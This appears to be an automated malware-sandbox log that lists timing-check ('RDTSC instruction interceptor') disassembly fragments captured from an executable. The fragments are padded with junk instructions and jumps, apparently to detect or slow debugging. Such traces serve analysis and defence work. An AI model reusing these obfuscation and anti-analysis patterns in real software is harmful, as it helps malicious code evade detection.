Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB5DD3 second address: AB5E1C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD0B5348056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e xor edi, 63A4AEA8h 0x00000014 ja 00007FD0B534805Ch 0x0000001a push 00000000h 0x0000001c movzx edi, cx 0x0000001f push 00000000h 0x00000021 mov edi, dword ptr [ebp+122D2BC0h] 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FD0B5348069h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB5E1C second address: AB5E40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483371h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FD0B548336Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB5030 second address: AB5034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: ABF5EC second address: ABF5F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: ABF5F0 second address: ABF5F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: ABF8A4 second address: ABF8B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jg 00007FD0B5483366h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: ABF8B3 second address: ABF8DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348062h 0x00000007 jmp 00007FD0B534805Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push ecx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: ABF8DC second address: ABF8E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AC3782 second address: AC3790 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AC3790 second address: AC3796 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AC3796 second address: AC37B8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD0B534805Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007FD0B534805Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AC37B8 second address: AC37C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD0B5483366h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AC37C2 second address: AC37C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AC383B second address: AC3876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0B5483372h 0x00000009 popad 0x0000000a jmp 00007FD0B5483375h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push ecx 0x00000013 jbe 00007FD0B5483366h 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AC3876 second address: AC388E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD0B5348056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jbe 00007FD0B5348060h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AC985F second address: AC9870 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B548336Ch 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AC9B1C second address: AC9B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0B5348066h 0x00000009 pop edi 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AC9B3A second address: AC9B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FD0B5483366h 0x0000000d jmp 00007FD0B5483379h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AC9CC5 second address: AC9CE1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD0B5348065h 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A5849D second address: A584A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A584A1 second address: A584A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A584A7 second address: A584B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD0B548336Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A584B8 second address: A584BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD4AE1 second address: AD4B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push esi 0x00000008 jg 00007FD0B5483366h 0x0000000e jmp 00007FD0B5483370h 0x00000013 pop esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jno 00007FD0B5483366h 0x0000001e jmp 00007FD0B5483371h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD4B1D second address: AD4B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD4B24 second address: AD4B2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD4B2A second address: AD4B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD4B2E second address: AD4B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD4C8C second address: AD4C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD50CF second address: AD50FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483373h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007FD0B5483373h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD50FD second address: AD5103 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD5103 second address: AD514C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483377h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007FD0B548336Ch 0x00000010 je 00007FD0B5483366h 0x00000016 jnp 00007FD0B5483372h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD0B548336Bh 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD514C second address: AD5150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD5577 second address: AD5588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0B548336Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD5588 second address: AD559C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 jnc 00007FD0B5348056h 0x0000000b pop esi 0x0000000c jc 00007FD0B534805Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD5741 second address: AD576A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B548336Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD0B548336Ch 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jp 00007FD0B5483366h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD5898 second address: AD589C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD589C second address: AD58C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FD0B548337Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD58C2 second address: AD58D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0B534805Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD58D2 second address: AD58D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD58D6 second address: AD58E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FD0B5348056h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD482D second address: AD4835 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD7B43 second address: AD7B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AD7B47 second address: AD7B59 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD0B5483366h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: ADD189 second address: ADD194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: ADD44C second address: ADD454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: ADD454 second address: ADD460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD0B5348056h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: ADD460 second address: ADD465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA47BE second address: AA47C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA4BB6 second address: 8EEDD4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD0B5483368h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edx, dword ptr [ebp+122D2ECCh] 0x00000013 sub dword ptr [ebp+122D2A5Dh], edx 0x00000019 push dword ptr [ebp+122D10E1h] 0x0000001f mov ecx, dword ptr [ebp+122D1B0Ch] 0x00000025 call dword ptr [ebp+122D1808h] 0x0000002b pushad 0x0000002c jp 00007FD0B548336Eh 0x00000032 jl 00007FD0B5483368h 0x00000038 xor eax, eax 0x0000003a xor dword ptr [ebp+122D2A06h], edi 0x00000040 mov edx, dword ptr [esp+28h] 0x00000044 mov dword ptr [ebp+122D2A06h], esi 0x0000004a mov dword ptr [ebp+122D2D0Ch], eax 0x00000050 jmp 00007FD0B5483372h 0x00000055 mov esi, 0000003Ch 0x0000005a stc 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f mov dword ptr [ebp+122D1928h], ecx 0x00000065 lodsw 0x00000067 cmc 0x00000068 add eax, dword ptr [esp+24h] 0x0000006c mov dword ptr [ebp+122D18A2h], edx 0x00000072 mov dword ptr [ebp+122D1928h], edi 0x00000078 mov ebx, dword ptr [esp+24h] 0x0000007c jo 00007FD0B548336Ch 0x00000082 mov dword ptr [ebp+122D1928h], edx 0x00000088 push eax 0x00000089 push eax 0x0000008a push edx 0x0000008b push eax 0x0000008c push edx 0x0000008d push ebx 0x0000008e pop ebx 0x0000008f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA4C5F second address: AA4C71 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD0B5348056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FD0B5348056h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA4C71 second address: 8EEDD4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD0B5483366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c sub dword ptr [ebp+12461520h], edx 0x00000012 push dword ptr [ebp+122D10E1h] 0x00000018 mov di, 1861h 0x0000001c call dword ptr [ebp+122D1808h] 0x00000022 pushad 0x00000023 jp 00007FD0B548336Eh 0x00000029 jl 00007FD0B5483368h 0x0000002f pushad 0x00000030 popad 0x00000031 xor eax, eax 0x00000033 xor dword ptr [ebp+122D2A06h], edi 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d mov dword ptr [ebp+122D2A06h], esi 0x00000043 mov dword ptr [ebp+122D2D0Ch], eax 0x00000049 jmp 00007FD0B5483372h 0x0000004e mov esi, 0000003Ch 0x00000053 stc 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 mov dword ptr [ebp+122D1928h], ecx 0x0000005e lodsw 0x00000060 cmc 0x00000061 add eax, dword ptr [esp+24h] 0x00000065 mov dword ptr [ebp+122D18A2h], edx 0x0000006b mov dword ptr [ebp+122D1928h], edi 0x00000071 mov ebx, dword ptr [esp+24h] 0x00000075 jo 00007FD0B548336Ch 0x0000007b mov dword ptr [ebp+122D1928h], edx 0x00000081 push eax 0x00000082 push eax 0x00000083 push edx 0x00000084 push eax 0x00000085 push edx 0x00000086 push ebx 0x00000087 pop ebx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA4D07 second address: AA4D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA4D0B second address: AA4D26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0B5483377h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA4D26 second address: AA4D60 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD0B5348056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 2C20C430h 0x00000013 mov ecx, dword ptr [ebp+122D234Ch] 0x00000019 mov dword ptr [ebp+122D200Ah], esi 0x0000001f push 451966A5h 0x00000024 pushad 0x00000025 jmp 00007FD0B5348061h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA515C second address: AA516F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FD0B5483368h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA5111 second address: AA515C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD0B5348056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FD0B5348058h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov edx, dword ptr [ebp+122D1886h] 0x0000002d mov edi, dword ptr [ebp+122D2F33h] 0x00000033 push 00000004h 0x00000035 add edi, dword ptr [ebp+122D2D98h] 0x0000003b nop 0x0000003c push edi 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA595B second address: AA59CE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FD0B5483368h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov ecx, dword ptr [ebp+122D213Ch] 0x0000002a lea eax, dword ptr [ebp+1248954Ch] 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007FD0B5483368h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 0000001Bh 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a jbe 00007FD0B548336Bh 0x00000050 mov ecx, 7424BC5Ch 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 jns 00007FD0B5483368h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA59CE second address: AA59D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA59D4 second address: AA59D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA59D8 second address: A81488 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD0B5348056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FD0B5348058h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 lea eax, dword ptr [ebp+12489508h] 0x0000002f xor edx, 09F80EACh 0x00000035 push eax 0x00000036 jbe 00007FD0B5348060h 0x0000003c pushad 0x0000003d jl 00007FD0B5348056h 0x00000043 push edx 0x00000044 pop edx 0x00000045 popad 0x00000046 mov dword ptr [esp], eax 0x00000049 mov dword ptr [ebp+122D191Eh], ecx 0x0000004f call dword ptr [ebp+122D3A25h] 0x00000055 pushad 0x00000056 jmp 00007FD0B5348063h 0x0000005b push edi 0x0000005c push ebx 0x0000005d pop ebx 0x0000005e pop edi 0x0000005f popad 0x00000060 push esi 0x00000061 jnp 00007FD0B534805Ch 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AE210F second address: AE2113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AE2113 second address: AE2117 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AE2117 second address: AE2144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD0B548336Bh 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 jmp 00007FD0B5483370h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A6276A second address: A62793 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jns 00007FD0B5348056h 0x0000000f ja 00007FD0B5348056h 0x00000015 pop edx 0x00000016 pop edx 0x00000017 pushad 0x00000018 jmp 00007FD0B534805Dh 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A62793 second address: A62799 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AE5627 second address: AE5648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD0B5348066h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AE5648 second address: AE564C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AE564C second address: AE5652 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AE8BD6 second address: AE8BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AE8BDA second address: AE8BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AE8682 second address: AE8686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AE8686 second address: AE8695 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD0B5348056h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF13DA second address: AF13EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B548336Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d rdtsc
